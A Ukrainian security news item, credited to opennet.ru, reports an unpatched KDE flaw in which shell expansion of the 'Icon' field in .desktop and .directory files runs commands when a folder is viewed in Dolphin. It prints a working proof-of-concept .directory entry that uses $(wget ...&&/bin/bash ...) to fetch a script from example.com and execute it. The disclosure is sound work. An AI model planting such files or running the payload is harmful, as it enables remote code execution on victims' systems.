Вразливість у KDE, що дозволяє виконати код під час перегляду списку файлів

У KDE виявлено вразливість, що дозволяє атакуючому виконати довільні команди під час перегляду користувачем каталогу чи архіву, що містить спеціально оформлені файли «.desktop» і «.directory». Для атаки достатньо, щоб користувач просто переглянув список файлів у файловому менеджері Dolphin, завантажив шкідливий desktop-файл або перетягнув мишею ярлик на робочий стіл або документ. Проблема проявляється у актуальному випуску бібліотек Каркаси KDE 5.60.0 і більш старих версіях, аж до KDE 4. Вразливість поки що залишається невиправленою (CVE не присвоєно).

Проблема викликана некоректною реалізацією класу KDesktopFile, який при обробці змінної «Icon» без належного екранування передає значення у функцію KConfigPrivate::expandString(), яка виконує розкриття спецсимволів shell, у тому числі обробляючи рядки «$(..)» як команди, що підлягають виконанню. . Всупереч вимогам специфікації XDG виконання розкриття shell-конструкцій виконується без поділу типу налаштувань, тобто. не тільки при визначенні командного рядка програми, що запускається, але і при вказівці піктограм, що відображаються за замовчуванням.

Наприклад, для атаки досить надіслати користувачеві zip-архів з каталогом, що містить файл ".directory" виду:

[Desktop Entry] Type=Directory
Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

При спробі перегляду вмісту архіву у файловому менеджері Dolphin буде завантажено та виконано скрипт https://example.com/FILENAME.sh.


Джерело: opennet.ru

Додати коментар або відгук